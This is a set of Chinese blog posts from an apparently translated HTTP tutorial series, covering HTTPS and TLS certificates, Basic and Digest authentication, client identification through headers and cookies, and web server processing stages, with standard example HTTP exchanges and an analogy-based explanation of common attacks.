文章写到这里, 希望我已经说服你, 用HTTPS是有必要的, 并且这可以让你有动力将网站往迁移HTTPS迁移, 知道HTTPS是如何工作的。

HTTPS的基本概念

HTTPS(Hypertext Transfer Protocol Secure, 超文本传输安全协议)准确地说, 是客户端和服务器在用HTTP进行通信的基础上, 增加使用安全的SSL/TLS的协议。

在之前的HTTP系列文章中, 我们已经了解过HTTP的工作原理了, 不过SSL/TLS却没有提到。SSL和TLS到底是什么?为什么要使用他们?

下面, 就让我们来了解一下。

SSL vc TLS

SSL(Secure Socket Layer, 安全套接层)和TLS(Transport Layer Security, 传输安全协议)可互换使用, 但实际上, 现在提到SSL可能就是在说TLS。

SSL一开始是由网景(Netscape)公司提出的, 不过它的1.0版本早已停用。SSL的2.0版本和3.0版本在1995、1996年相继现世,这两个版本在出现之后, 即便是之后TLS已经开始推行了, 也沿用了很长一段时间(至少对IT行业来说, 时间挺长的)。直到2014年Poodle攻击发生之后才有所改变。当时服务器支持从TLS降级到SSL,这是Poodle攻击如此成功的主要原因。

SSL一开始是由网景(Netscape)公司提出的, 不过它的1.0版本早已停用。SSL的2.0版本和3.0版本在1995、1996年相继现世, 即便是之后TLS已经开始推行了, 也沿用了很长一段时间(至少对IT行业来说, 时间挺长的)。2014年, 当时服务器支持从TLS降级到SSL, 这是Poodle攻击发生之后如此成功的主要原因。

从此之后, 服务器降级到SSL的功能已经完全消失了

如果你用Qualys SSL Labs tool检查你或其他人的网站, 你可能会看到这个:

你可以看到, 根本不支持SSL 2和3, 而TLS 1.3还未启用。

不过, 因为SSL流行了很长一段时间, 它已经成为了大部分人熟悉的术语, 现在被用于许多方面。 因此, 当你听到有人用SSL代替TLS, 这是个历史遗留问题, 别想少了, 他们真正想说的不是SSL。

因为我们要摆脱那种表达方式, 所以从现在开始, 我会用TLS, 毕竟这个会更加准确。

那么, 客户端和服务器到底是怎样建立安全连接的?

TLS握手

客户端和服务器在进行真正的、加密过的通信之前会有一个”TLS握手”的过程。

下面是TLS的工作原理(非常简单, 后面有附加连接)。

在建立完连接之后, 会开始加密通信。

真的TLS握手机制会比这个图更加复杂, 不过, 只是为了实现HTTPS协议, 你不必了解所有的真实的细节。

如果你想确切了解 TLS 握手的工作原理, 可以在RFC 2246中找找看。

TLS握手的过程中, 发送的证书扮演着什么样的角色?又是怎样颁发的呢?让我们来一起看看吧!

证书(Certificate)及证书认证(CAs, Certification Authorities)

证书是通过 HTTPS 进行安全通信的关键部分, 它由受信任的证书颁发机构颁发。

数字证书让网站的用户在使用网站时可以以安全的方式进行通信。

比如, 在浏览我的文章时, 证书是这个样子的:

如果你用的是Chrome浏览器, 你可以按F12打开开发者工具安全栏查看证书。

我想要点明两件事。在上图的第一个红色框框里, 你可以看到证书的真实目的。它是用来确保你访问的是正确的网站的如果有些网站伪造成你真正想进行通信的网站, 你的浏览器一定会提醒你的。

第二, 浏览器左边最上面的那个绿色的”安全”标志, 只能说明你是在和有证书的网站在进行通信, 并不能证明你是在与原本想通信的网站进行通信。因此, 要小心了。如果恶意攻击者有一个合法的域名及证书的话, 那么他们就能窃取你的身份凭证了。🙂

注: 有些钓鱼网站, 通过用与大型网站相似的域名申请域名证书(比如用Web1.com替代原本的Webone.com), 瞒过了浏览器的法眼, 骗取用户的身份凭证或其他重要信息。

扩展验证证书(EV, Extended validation certificates), 换句话说, 就是用来证明网站是由合法实体(域名持有者或公司)持有的证书。不过, 现在EV证书的可用性还存在着争议, 因为可能不适用于互联网上的特殊用户(比如为经过浏览器安全功能训练的用户)。你可以在URL栏左方看到EV证书持有者的名字。例如, 当你访问twitter.com的时候, 你可以看到:

这意味着, 网站用EV证书来证明其背后的持有者(或公司)。

证书链(certificate chain)

任何一个服务器都可以(向客户端)发送数字证书, 并以此声称它们就是你想要访问的那个服务器。所以, 到底是什么让你使用的浏览器信任服务器返回的证书呢?

这里, 就要引入根证书了。通常, 证书都是链接起来的,
(链接最顶层的)根证书是你的电脑全心全意地信任的一个证书。

我博客的证书链是这个样子的:

最底层的是我的域名证书, 这是由它的上一级的证书签署的, 它的上一级证书是上上级证书签署的…这样循环往复直到最顶层的根证书。

不过, 到底是谁签署的根证书呢?

好吧, 告诉你, 是它自己给自己签署的!😀


颁发给: 域根证书; 颁发者: 域根证书。

你的电脑和浏览器会有一个信任的根证书名单, 这些根证书依靠确认你浏览的域名是通过验证的(来保证服务器端证书是值得信任的)。若证书链由于某些原因断裂了——当时我在我博客上开启了CDN[内容分发网络], 就出现了这样的问题——你的电脑会显示你的网站是”不安全”的。

在键盘上按win+R输入” certmgr.msc”后运行证书管理器, 就可以在windows系统上查询信任的根证书的名单。然后, 你可以在受信任的根证书颁发机构文件夹中找到电脑信任的证书。这个名单适用于Windows系统、IE浏览器、Chrome浏览器和Firefox浏览器, 换言之, 他们自己在管理自己(信任的证书)的名单。

通过交换证书, 客户端和服务器能确认与对方进行通信的人是正确的, 并且可以开始加密传输报文了。

HTTPS的不足

HTTPS有时会让人误以为当前站点是绝对安全的,实际上启用HTTPS机制只是提高了网站对某些认证攻击的防御能力,比如中间人攻击。但实际上,如果网站后端代码有问题,还是会存在一些其它漏洞,除了中间人攻击之外,还有很多种窃取用户信息的方式。

而且,如果HTTPS本身的设置有问题的话,依然可能发生中间人攻击。网站管理员可能会误以为,只要使用了HTTPS,就不存在中间人攻击了。

如果网站登录页面的后端代码存在漏洞,即使使用了HTTPS机制,也还是会导致用户账号密码泄露。所以,根本方法,要解决整个网站的安全问题,而不仅仅是企图依赖于HTTPS。

总结

以上就是HTTP系列的全部了希望你可以从中受益, 或者(通过文章)你理解了你曾经不能理解的概念。

在写文章的过程中, 我获得了喜悦和大量的新知识。希望我的文章也能给你带来快乐(或者至少于都过程是享受的)。🙂

HTTP系列(四):HTTP的基础概念概述

在上一篇文章中, 我们讨论了网站用多种方法去标识浏览网站的用户(身份)。

标识本身仅仅表示一个声明, (用户通过声明)表明自己的身份, 然而除此之外, 并没有其他证据可以证明用户的身份。

认证, 用另一种方式来说, 就是用户证明自身身份的证据, 展示个人ID和输入用户密码是两种证明自身身份常见的方法。

通常情况下,只有通过认证, 网站才能为用户提供敏感资源。

HTTP自身拥有认证机制, 该机制允许服务器(向用户)提出质询并获取其所需的认证信息。你将会在文章中了解到什么是认证和认证是如何进行的。文章中还会涵盖每一种认证方式的优缺点, 并且分析它们是否具有独当一面的能力。(偷偷剧透一下, 它们才没这个能力呢!)

这篇文章是HTTP系列的第四部分。

文章概要:

  • HTTP认证的工作方式
  • Basic认证(基本认证)
  • Digest认证(摘要认证)

在进一步探索什么是HTTP认证机制之前, 我们一起来看看什么是HTTP认证吧!

HTTP认证的工作方式

认证是Web服务器标识用户的一种方式。用户需要摆出证据, 证明其有获得所请求资源的权限。通常, 证明的过程需要一组用户名和密码, 并且, 输入的用户名和密码必须经服务器(验证后)认同是有效的, 然后才由服务器判断该用户是否有获取该资源的权限。

HTTP提供了两种认证协议:

  • Basic认证(基本认证)
  • Digest认证(摘要认证)

在深入了解上述两个协议之前, 我们来大概过一遍基础概念。

质询(challenge)/响应(response)认证框架

质询/响应认证是什么意思?

就是说, 在某个客户端发送请求的时候, 服务器不会立即响应, 而是(向客户端)返回认证要求。该认证要求要求用户通过输入私密信息(用户名及密码)来提供标识身份的证明。

之后, 客户端会重复发送请求来提供(身份)凭证, 如果该身份凭证被服务器认证是有效的, 那么用户可以得到所请求的响应资源。如果(身份)凭证被认为无效, 那么服务器会重新发出质询, 或直接发送(认证信息)错误报文。

注:加入用户名密码错误的话, 服务器会返回401

与认证相关的请求/响应首部字段

WWW-Authenticate响应首部字段, 是服务器用来(向客户端)发出质询的, 该首包含了认证协议和认证域这两部分内容。

在用户输入(身份)凭证之后, (客户端)会重新发送请求报文。然后, 客户端会发送附有Authorization首部字段的请求报文, 该首部字段包含了认证方式(Basic)和一组用户密码。

如果(身份)凭证通过验证, 服务器会返回响应, 并在响应中选用Authentication-Info首部字段附上附加信息——该首部字段是非必需的, 所以可有可无。

安全认证域(Security Realms)

认证域(又称防护域, protection space)在服务器上提供了不同访问权限关联不同资源组的方法

实际上, 认证域的存在就意味着, 用户访问(不同的)资源需要输入不同的身份凭证。

服务器拥有多个认证域。

/admin/statistics/financials.txt -> Realm=”Admin Statistics”
比如, 上面的示例就是存放网站统计信息的认证域——只允许网站管理员访问(其中的资源)。

/images/img1.jpg -> Realm = “Images”
还有存放网站图片的认证域——即使不是管理员, 也能访问和上传图片。

当你尝试访问”financials.txt”时, 服务器会向你发出质询, 并返回如下响应:

1
2
HTTP/1.0 401 Unauthorized
WWW-Authenticate: Basic realm="Admin Statistics"

点击https://tools.ietf.org/html/rfc7235#section-2.2可了解更多认证域。

简单的HTTP认证实例

现在, 让我们用简单的HTTP认证实例为这一小节内容画上一个完美的句号吧!(basic认证会在后文继续讲述)

  1. 用户代理 -> 服务器
    用户请求访问服务器上的图片。

    1
    2
    GET /gallery/personal/images/image1.jpg HTTP/1.1
    Host: www.somedomain.com
  2. 服务器 -> 用户代理
    服务器(向客户端)发送认证要求。

    1
    2
    HTTP/1.1 401 Access Denied
    WWW-Authenticate: Basic realm="gallery"
  3. 用户代理 -> 服务器
    用户通过表单输入标识自己。

    1
    2
    GET /gallery/personal/images/image1.jpg HTTP/1.1
    Authorization: Basic Zm9vOmJhcg==
  4. 服务器 -> 用户代理
    服务器验证(身份)凭证成功后, 发送状态码”200 OK”及图片。

    1
    2
    3
    HTTP/1.1 200 OK
    Content-type: image/jpeg
    ...<image data>

看起来不是那么复杂, 对吗?

现在, 我们来进入更深层次的学习, 学习basic认证。

basic认证

basic认证是最常用且支持面最广的认证协议。从HTTP/1.0开始, basic认证就已经广泛应用了, 每一个客户端都可以使用该认证协议认证。

上面的实例描述的是basic认证过程。basic认证实现和用起来都很简单, 不过, 它存在着安全问题。

进入(basic认证)安全问题的学习之前, 不妨先了解一下basic认证是如何处理(认证过程中传输的)用户和密码的。

basic认证将用户名及密码放在一串字符串中, 两者由符号”:”分割。然后, 用base64编码字符串。不过, 无论字符串的表现形式是什么样, 混乱的字符顺序也不能保证(认证)安全, 因为它可以被轻易地解开。

实际上, base64编码不是为了加密, 而是为了保证用户名及密码在通过HTTP协议传输之后具有可移植性。不过,在HTTP首部字段中不能使用通用字符, 才是编码的主要原因。

1
2
GET /gallery/personal/images/image1.jpg HTTP/1.1
Authorization: Basic Zm9vOmJhcg==

例子中的字符串”Zm9vOmJhcg==”解码后只是”foo:bar”(这一小段字符串)。

因此, 每个可以收到请求的(代理/服务器)都能轻易地解码和使用(传输的身份)凭证。

更糟糕的是, 恶意的第三方仍然可以通过发送(编码后的)混乱字符序列达到同样的效果, 因此对用户名及密码进行编码不会有任何帮助。

没有任何可以用来防止代理或其他形式的攻击篡改请求主体(数据), 同时还能保证请求主体完好无损的措施。

因此, 如你所见, basic认证称不上是一个完美的认证机制。

尽管如此, basic认证还是可以用来防止(无权限用户)意外访问受保护的资源, 并(为用户)提供一定程度的个性化内容。

为了让(认证)更加安全实用, 可以用基于SSL的HTTPS协议对basic认证进行扩展, 相关内容我们会在本系列的第五部分详述。

然而, 有些人认为, basic认证的安全与否取决于运输机制(的安全性)

digest(摘要)认证

与简单且不安全的basic认证相比, digest认证是一个更加安全可靠的选择。

那么, 它是如何认证的呢?

digest认证将多个nonceMD5哈希加密算法结合使用, 以此来隐藏密码(使账号)免于遭受多种恶意攻击的侵害。

注: nonce本身是用base64加密的。

这个(认证过程)听起来好像很复杂, 不过在你看完实例之后, 就会觉得清晰多了。

实例

  1. 用户代理 -> 服务器

    1
    2
    GET /dir/index.html HTTP/1.0
    Host: localhost

    客户端发送不含认证(信息)的请求。

  2. 服务器 -> 用户代理

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    HTTP/1.0 401 Unauthorized
    WWW-Authenticate: Digest realm="shire@middleearth.com",
    qop="auth,auth-int",
    nonce="cmFuZG9tbHlnZW5lcmF0ZWRub25jZQ",
    opaque="c29tZXJhbmRvbW9wYXF1ZXN0cmluZw"
    Content-Type: text/html
    Content-Length: 153
    <--空行--!>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8" />
    <title>Error</title>
    </head>
    <body>
    <h1>401 Unauthorized.</h1>
    </body>
    </html>

    服务器对客户端发出质询, 要求其用digest认证进行认证, 并向客户端发送(认证时)所需的信息。

  3. 用户代理 -> 服务器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    GET /dir/index.html HTTP/1.0
    Host: localhost
    Authorization: Digest username="Gandalf",
    realm="shire@middleearth.com",
    nonce="cmFuZG9tbHlnZW5lcmF0ZWRub25jZQ",
    uri="/dir/index.html",
    qop=auth,
    nc=00000001,
    cnonce="0a4f113b",
    response="5a1c3bb349cf6986abf985257d968d86",
    opaque="c29tZXJhbmRvbW9wYXF1ZXN0c

    客户端将计算出响应码与用户名、认证域(real)、URI、nonce(随机数)、opaque、qop、nc和cnonce(客户端的随机数)这些属性一起发送出去, 这信息量真的很大。

  4. 服务器 -> 客户端

    1
    2
    3
    4
    HTTP/1.0 200 OK
    Content-Type: text/html
    Content-Length: 2345
    ... <content data>

    服务器会自己计算(服务器产生的nonce)的哈希值并与从客户端收到的nonce哈希值进行比对。若两者相同, 服务器就会发送(客户端)所请求的数据。

(步骤3的)详细说明

定义:

  • nonce、opaque —— 服务器生成的字符串, 客户端会在返回的内容中附上该信息。
  • qop(保护质量) —— 可设置一个或多个值(“auth” | “auth-in” | token)。这些值影响摘要(信息)的计算。
  • cnonce - 客户端随机数, 若设置了qop的值, 一定要生成客户端随机数。它是用来防止选择明文攻击和保证信息完整性的。
  • nc —— 若qop设置了, 必须(给服务器)发送该属性。服务器可通过nc属性的值, 检测请求是否是重新发送过来的。若(两次请求)nc属性出现了相同值, 那么说明该请求重新发送了一次。

response属性的值的计算方法:

1
2
3
4
5
6
7
8
9
10
11
HA1 = MD5("Gandalf:shire@middleearth.com:Lord Of The Rings")
= 681028410e804a5b60f69e894701d4b4
HA2 = MD5("GET:/dir/index.html")
= 39aff3a2bab6126f332b942af96d3366
Response = MD5( "681028410e804a5b60f69e894701d4b4:
cmFuZG9tbHlnZW5lcmF0ZWRub25jZQ:
00000001:0a4f113b:auth:
39aff3a2bab6126f332b942af96d3366" )
= 5a1c3bb349cf6986abf985257d968d86

如果你对response属性是如何受qop属性影响这件事感兴趣的话, 你可以看看RFC 2617

简短的总结

如你所见, digest认证不管是理解起来还是实现起来都(比basic认证)复杂多了。

尽管, digest认证比basic认证安全得多, 但还是存在遭受中间人攻击的可能。

RFC 2617中提到, digest认证是用于取代basic认证的, 因为它可弥补basic认证的不足, 同时RFC 2617中没有将digest认证仍旧不符合现代密码标准的事实隐藏起来, 不过, 该认证安全与否, 还是取决于实际实施情况。

digest认证的优点:

  • 不会在网络中发送明文密码
  • 防止重放攻击
  • 防止篡改报文

digest认证的缺点:

  • 易遭受中间人攻击
  • 不用设置大量的安全选项, 导致digest认证方法不够安全
  • 存储密码时, 不能使用强密码哈希函数

注: 缺点的最后一点, 是因为无论是密码、用户名、realm、密码的摘要都要求是可恢复的

上述的种种缺点使得digest认证未能大力推广, 反观简单的basic认证, 结合SSL使用之后比(复杂的)digest认证安全得多——因此该认证方法得到大力推广。

总结

本文为HTTP系列的一部分。

文章看到这里, 我们大致过了一遍HTTP默认提供的认证机制, 并且谈论了不同认证机制的优缺点。

希望(对你来说)这些概念不再只是屏幕上的单词, 并且下次你提到这些名词的时候, 能准确地知道它们是什么和怎么运用它们。

你应该察觉到了, 上述认证机制并不能规避(所有)安全风险, 这就是HTTPS、SSL/TLS(Transport Layer Security, 传输层安全性协定)这些概念存在的原因。下一篇文章, 我们将会更多地去讨论安全问题和如何去规避这些问题。

如果你感觉有些概念不是很清晰, 你可以看看HTTP系列第一部分第二部分第三部分

安全小讲堂

在找相关知识的时候, 发现有一个人用了一个很通俗易懂的方式来讲密码学里面的知识, 感觉很有趣。今天来尝试一波。

假设小明和小兰互相不认识, 在老师严抓早恋的背景下, 俩人都学习了写情书的新姿势, 将自己写的文字加密并发出, 然后通过情书培养感情。小草也喜欢小兰, 为了阻(heng)止(dao)他(duo)们(ai), 采取了以下攻击方式。

  1. 选择明文攻击
    小草很了解小兰(但没有学习过上面的新姿势), 知道小兰最爱在信里表示自己很”开心”, 所以信加密后出现最高频率的词, hexo这就是知道”开心”加密之后的密文是啥了。
    ————已知密文。

    如果有一天, 小兰写”开心”的次数变少了, 小草就可以找机会雪(chen)中(xu)送(er)炭(ru)了。

  2. 中间人攻击
    小明和小兰协商好, 在书信里面放入自己的信物表明自己的身份, 为了防止第三者做些乱七八糟的事情, 这个方式也是很明智了。但是未曾想, 小草在一开始协商信物的时候, 就窃取了他们的信物——这个信物就是公钥——并且将自己事先准备好的两个信物与小明和小兰原本的信物进行对调。


    这时候小草甚至还能皮一下, 篡改小明的书信, 离间他们两者之间的感情。

  3. 重放攻击
    小明给小兰送情书之前, 都会在小兰的桌上放一瓶酸奶, 作为自己给小兰写信的信号。小兰回教室看到抽屉里有信, 在思考是谁写的(发出质询), 看到酸奶(收到响应), 小兰就知道是小明给自己写情书了(通过验证)。小草找到了这个规律, 同样给小兰桌上放了一瓶酸奶(重放攻击, 二次利用认证信息), 之后在抽屉里放着离间两人的信, 这就达成了小草想要的效果。

HTTP系列(三):客户端标识

到现在, 你已经了解HTTP的基本概念及其体系结构, 那么, 就可以让进入下一个重要的部分——客户端标识。

你知道为什么客户端识别那么重要吗? 你知道Web服务器是怎样识别你所用的客户端的吗?你知道怎样使用和存储这些身份信息吗?看完这篇文章, 你的这些问题都能迎刃而解。

这篇文章是HTTP系列的第三部分。

文章概要:

首先, 让我们了解一下, 为什么网站要识别客户端?

客户端识别及其重要性

正如你(可以)很清楚地意识到的一样, 每一个网站, 至少是那些关心你(客户端)和你的操作的网站, 都存在以某种形式呈现的内容个性化。

然而, 我想通过网站的这个特性表达什么呢?

所谓的内容个性化, 就是(在网页上添加)建议项, 建议项包括: 商务网站上或社交网站上推荐的视频、像蛔虫一般知晓你的需要的广告、与你有关联的新闻、社交网站上的好友推荐等等。

这个特性看起来像是一把双刃剑。一方面, 这个特性做的非常好的一点是,提供给你个性化定制的内容。而另一方面, 该特性带来的确认偏误会造成刻板印象和偏见。迪尔伯特有一套优秀的漫画涉及到了确认偏误。

注:该漫画的地址http://dilbert.com/strip/2011-07-02

然而, 我们怎么能不知道我们最喜欢的球队昨晚的得分? 怎么能不知道昨晚公众人物们干了些啥?

无论从哪一方面考虑, 个性化的内容都已经成为了我们日常生活中的一部分了, 我们不能,甚至连想不可能想去限制内容个性化。

接下来, 就让我们了解一下Web服务器是如何通过识别你的身份实现内容个性化的。

客户端识别的多种方式

识别客户端具有多种方式:

  • HTTP请求首部
  • IP地址
  • 长URLs
  • Cookies
  • 登陆信息(认证)

下面, 我们将上面的每一种方法大致过一遍吧!HTTP认证会在HTTP系列第四部分进行更加详细的介绍。

用于识别的HTTP请求首部字段

Web服务器可以通过一些方法, 直接从HTTP请求首部字段中提取客户端的相关信息。

这些首部字段是:

  • From - 若客户端有提供, 则含有用户(客户端或代理)的电子邮件地址
  • User-Agent - 含有客户端的信息
  • Referer - 含有用户所请求的原始资源(的URI)
  • Authorization - 含有用户名及密码
  • Client-ip - 含有用户的IP地址
  • X-Forwared-For - 含有用户的IP地址(通过代理服务器时使用)
  • Cookie - 含有服务器端生成的ID

理论上, From首部字段是用户理想的唯一标识, 但实际上, 由于会造成收集电子邮件地址这种安全性问题, 因此该首部字段很少用到。

注: 国外有专门形容收集电子邮件地址的词组-email collection, 词组原意应该是“收集电子邮件数据”, 但是因为From这个首部字段含有的是电子邮件的地址, 因此翻译为”收集电子邮件地址”。

User-agent首部字段含有浏览器版本、操作系统的信息。尽管这些信息对自定义内容来说很重要, 但它还是不能(帮服务器)用更恰当的方式去识别用户。

Referer首部字段告知服务器用户的请求是从哪个Web页面发起的。该信息有助于(服务器)分析用户行为, 但较少识别该首部字段内容。

注: 我大概查了一下为什么作者会说很少识别该首部字段内容。看完《图解HTTP》,我是这样理解的, 当直接在浏览器的地址栏输入URI, 或其他安全性考虑时, 客户端可以不发送该首部字段, 因为URI的查询字符串中可能含有ID和密码等保密信息, 若写进去有可能导致信息泄露。所以服务器就很少识别该首部字段的内容。如果想更深入了解Referer首部字段, 可以看一下https://www.sojson.com/blog/58.html

虽然这些首部字段(给服务器)提供了有用的客户端信息, 不过, 如果想有效地实现内容个性化, 这是远远不够的。

剩余的首部字段(为服务器)提供了更准确的识别机制。

IP地址

过去, IP地址不易被伪造或交换, 因此IP地址可用于识别客户端。但是(检查)IP地址可以被当作一个额外的安全检查, 毕竟只检查IP地址, 还是不够可靠。

下面列出的, 是其不可靠的原因:

  • IP地址描述机器, 而不是用户
  • NAT防火墙 - 许多ISP(Internet service provider, 互联网服务供应商)用NAT防火墙提高安全性和弥补IP地址的不足
  • 动态IP地址 - 用户通常都是从ISP获取动态IP地址
  • HTTP代理和网关 - 代理和网关可用于隐藏真实IP地址。某些代理通过Client-ip请求首部字段或X-Forwarded-For请求首部字段来保留真实IP地址。

长(胖)URL

在用户浏览页面时, 网站会在URL中添加更多的信息, 直至URL看起来很复杂且难以读懂。

下面举浏览亚马逊商店的例子能很好地告诉你, 胖URL长得啥样。

1
https://www.amazon.com/gp/product/1942788002/ref=s9u_psimh_gw_i2?i

在使用胖URL的时候, 有以下缺点:

  • 看起来很丑
  • 不可共享
  • 破坏缓存
  • 会话(session)受限
  • 给服务器增加负载

注: 这里大概解释一下这些缺点。首先, “不可共享”是因为共享的话可能会造成个人隐私泄露等安全问题。”破坏缓存”则是因为, 胖URL实际上是为每个用户生成特定版本的URL, 这就会造成没有可供公共访问的缓存了。之后, “会话受限”, 我们应该知道会话内容会在关闭浏览器之后消失, 除非用户收藏了特定的胖URL, 否则一旦用户退出登录, 所有会话期间的内容都会消失。而”增加负载”则是因为将URL重写会生成负荷。若想更进一步了解胖URL, 可参考:http://gcidea.info/2016/05/11/fat-url/

Cookies

Cookie是现在除了认证(authentication)之外最好的标识客户端方法, 它是由网景公司提出的, 现如今, 每一个浏览器都支持cookie。

Cookie分为两类: 会话Cookie和持久性Cookie。会话Cookie在(用户)关闭浏览器时会被删除, 而持久性cookie则会(比会话Cookie)更长久地保存在硬盘中。若想将会话Cookie作为持久性Cookie来使用, 仅需设置Max-Age首部字段或Expiries属性。

现代浏览器(例如Chrome、Firefox)在用户关闭浏览器后, 可以让后台进程一直运行, 以便用户从(进程)中断处恢复进程。这可能会导致(浏览器)会保留绘画cookie, 因此要小心一点。

那cookie到底是怎么工作的呢?

Cookie含有一个键值对列表, 该列表是服务器通过Set-Cookie或Set-Cookie2两种响应首部字段设置的。通常, Cookie存储的信息会是某种客户ID, 但是有些网站也会(在其中)存储其他信息。

浏览器将Cookie信息储存在Cookie数据库中, 并在用户下次访问该页面或网站时返回Cookie。浏览器可以处理成千上万不同的cookie, 并且知道每一个cookie什么时候提供(给用户)。

下面为(使用Cookie的)流程的示例。

  1. 用户代理(User Agent) -> 服务器

    1
    2
    POST /acme/login HTTP/1.1
    [form data]

    用户(代理)通过表单输入的内容识别用户。

  2. 服务器 -> 用户代理

    1
    2
    HTTP/1.1 200 OK
    Set-Cookie2: Customer="WILE_E_COYOTE"; Version="1"; Path="/acme"

    服务器向用户代理(浏览器)发送Set-Cookie2响应首部字段, 指示用户代理在cookie中写入用户相关信息。

  3. 用户代理 -> 服务器

    1
    2
    3
    POST /acme/pickitem HTTP/1.1
    Cookie: $Version="1"; Customer="WILE_E_COYOTE"; $Path="/acme"
    [form data]

    用户将选择的物品添加到购物车中。

  4. 服务器 -> 用户代理

    1
    2
    HTTP/1.1 200 OK
    Set-Cookie2: Part_Number="Rocket_Launcher_0001"; Version="1"; Path="/acme"

    购物车中添加了所选出物品。

  5. 用户代理 -> 服务器

    1
    2
    3
    4
    POST /acme/shipping HTTP/1.1
    Cookie: $Version="1"; Customer="WILE_E_COYOTE"; $Path="/acme";
    Part_Number="Rocket_Launcher_0001";
    [form data]

    用户选择送货方式。

  6. 服务器 -> 用户代理

    1
    2
    HTTP/1.1 200 OK
    Set-Cookie2: Shipping="FedEx"; Version="1"; Path="/acme"

    产生新的Coookie中映射出送货方式。

  7. 用户代理 -> 服务器

    1
    2
    3
    4
    5
    6
    POST /acme/process HTTP/1.1
    Cookie: $Version="1";
    Customer="WILE_E_COYOTE"; $Path="/acme";
    Part_Number="Rocket_Launcher_0001"; $Path="/acme";
    Shipping="FedEx"; $Path="/acme"
    [form data]

这就是完整的流程。

有一点我必须要提醒你, Cookie并不是完美的。除开安全考虑, 还有一个问题, Cookie的使用会与REST架构风格发生冲突。

注:发生冲突的原因可见文末的附加内容。若对英文版的完整解释有兴趣的话, 可以点击打开。

你可以在RFC 2965了解更多关于cookie的信息。

总结

本文为HTTP系列的一部份。

由本文, 你已经了解到了内容个性化的优缺点, 也知道了服务器标识客户端的多种方法。接下来, 在HTTP系列的第四部分中, 我们将会探讨到最重要的一类客户端标识: 认证(authentication)。

如果你发现本文讲述的某些概念不是很清楚, 你可以参考[HTTP系列][]]的第一部分第二部分

附加内容

  1. 漫画内容翻译
    A:让我们开始会议吧, 但是你要知道, 我会(在会议过程中)记录下你所有的欺凌行为。
    B :emmmm, 我根本不是一个欺凌者, 但是你现在的确认偏误搞得像我在欺凌你一样, 这让我很难受。
    A:可以请你重复一下你暗示我我是个妄想的女巫之后的内容吗?

  2. Cookie与REST架构产生冲突的原因

    One of the key ideas of REST is statelessness – not in the sense that a server can not store any data: it’s fine if there is resource state, or client state.

REST的主要思想是无状态, 无状态并不意味着服务器不能存储任何数据, 而是它只能用来存储资源状态、客户端状态

The most typical use of cookies is to store a key that links to some server-side data structure that is kept in memory. This means that the cookie, which the browser passes along with each request, is used to establish conversational, or session, state.

通常, cookie都被用来存储一个由服务器端发来的值(即存储了服务器端的内容), 该值最后存储于用户硬盘中。这就意味着, 浏览器随每个请求一起发送的cookie, 都是用于设定通信的状态或传送会话的状态。

If a cookie is used to store some information, such as an authentication token, that the server can validate without reliance on session state, cookies are perfectly RESTful

假如cookie中存储了认证信息(例如会话令牌, 即session token), 那么服务器不用验证会话状态就可直接登陆(账户), 此时使用cookie就会完全符合REST原则——此时, cookie存储的session是客户端的。

HTTP系列(二):HTTP的结构体系

在本系列的第一篇文章中, 我们探讨了HTTP的基本概念。有了(前面的)基础, 我们就可以开始HTTP结构体系的学习。 HTTP协议不仅仅只是用来发送和接收数据的。

实际上, HTTP协议本身是不能作为应用程序协议工作的, 但是因为它的基础结构是由硬件和软件组成, 软硬件协同工作提供了不同的服务, 这才能在万维网上实现有效的通信。

本文是HTTP系列文章的第二部分。

文章概要:

这些都是我们网络生活中不可分割的一部分, 接下来, 你可以(通过本文)全面地了解它们的用途及其工作形式。接下来学习的内容可以帮你把第一篇文章中的(知识)点串起来, 这样, 你就可以熟悉HTTP通信过程。

那么, 让我们现在就开始学习吧!

Web服务器

正如第一篇文章所提到的, Web服务器的主要功能是存储资源并在接收请求后(按照请求)处理资源。通过Web客户端(又称为Web浏览器)用户可访问Web服务器, 并返回获取请求的资源或更改(资源的)现有的状态。访问Web服务器的操作, 通过网络爬虫, 也可以实现自动化, 相关内容我们会在文章后面进行深入的了解。

你所知道的最流行的服务器, 不外乎是Apache的HTTP 服务器、Nginx、
IIS、Glassfish…

Web服务器可分为(使用)单种简单易用的软件或(使用)多种复杂的软件的服务器。 现代的Web服务器能够执行许多不同的任务, 其基本功能为:

  • 建立连接 —— 接受或关闭客户端连接
  • 接收请求 —— 读取HTTP请求报文
  • 处理请求 —— 解析请求报文并执行(相应请求)
  • 访问资源 —— 访问请求报文中(请求的)资源
  • 构造响应 —— 创建HTTP响应报文
  • 发送响应 —— 向客户端返回响应报文
  • 事务日志 —— 在日志文件中记录已完成的事务

我将Web服务器基本(工作)流程分为不同的阶段, 所列出的阶段是Web服务器(工作)流程的一个极其简化的版本。

阶段 1:建立连接

当Web客户端要访问Web服务器时, 客户端必须要重新打开一个TCP连接。与此同时, Web服务器在另一边向客户端确认IP地址。然后, 由服务器决定是否与该客户端建立TCP连接。

如果服务器接受连接, 它会将客户端的IP地址添加到现有连接的列表中, 并监视该连接上的数据。

如果客户端未被授权或是黑名单中的(视为恶意的), 服务器可以关闭TCP连接。

服务器还可以使用”反向 DNS(Domain Name System, 域名服务器)”来识别客户端的主机名。客户端的主机名有利于事务日志的记录, 但主机名的查找需要时间, 所以会造成记录事务的速度减慢。

阶段 2:接收/处理请求

分析接收的请求时, Web服务器会分析报文的请求行、首部字段和主体(如果有提供的话) 中的信息。需要注意的一点是, TCP连接可以随时暂停, 因此在这种情况下, 服务器必须将(已传送)数据临时存储起来, 直到服务器接收到剩余(未传输的)数据。

高端的Web服务器能够同时建立大量连接——包括同时与同一客户端有多个连接。因此, 典型Web页面可以向高端服务器请求大量不同的资源。

阶段 3:访问资源

Web 服务器通过多种方法映射和操作资源, (为Web客户端)提供资源。

映射资源最简单的方法, 就是根据请求(报文)中的URI在Web服务器的文件系统中查找所需的文件。通常, 资源都存放在服务器上一个被称为文件根目录(docroot)的特殊文件夹中。例如, Windows 服务器上的文件根目录就位于“F:\WebResources \”。假设有一个GET请求想要访问”/image/codemazeblog”上的文件, 服务器会将其转换为”F:\WebResources\images\codemazeblog.txt”, 并在响应报文中返回该文件。当一个Web 服务器承载多个网站时, 每个站点都会有其独立的的文件根目录。

如果 Web 服务器接收到的是对(文件)路径的请求, 而不是对文件的请求, 服务器可以用以下几种方式处理请求:返回错误消息; 替代返回路径或遍历路径, 返回默认索引文件;返回带有(所请求)内容的HTML文件。

